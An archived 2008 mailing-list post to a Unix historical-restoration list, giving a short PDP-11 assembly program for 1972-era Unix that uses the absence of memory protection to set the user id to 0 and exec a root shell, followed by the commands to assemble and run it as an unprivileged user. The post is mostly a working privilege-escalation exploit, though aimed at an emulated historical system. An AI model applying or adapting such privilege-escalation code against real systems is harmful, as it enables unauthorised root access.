From mboxrd@z Thu Jan  1 00:00:00 1970
From: newsham@lava.net (Tim Newsham)
Date: Sat, 10 May 2008 08:37:33 -1000 (HST)
Subject: [Unix-jun72] another small hack
Message-ID: <Pine.BSI.4.64.0805100835030.20114@malasada.lava.net>

No memory protection:

.. = 40014
         mov     $0,037772 / u.uid = 0, u.ruid = 0
         sys     exec; shell; shellp
         sys     exit

shell:  </bin/sh\0>
shellm: <-\0>
shellp: shellm
         0

-----
$ APOUT_ROOT=../fs/root ../tools/apout/apout ../fs/root/bin/as hack.s
$ ../tools/fixaout.py
$ mv b.out hack
... put it on your rk0 as /bin/hack, login as bin, run "hack".

Tim Newsham
http://www.thenewsh.com/~newsham/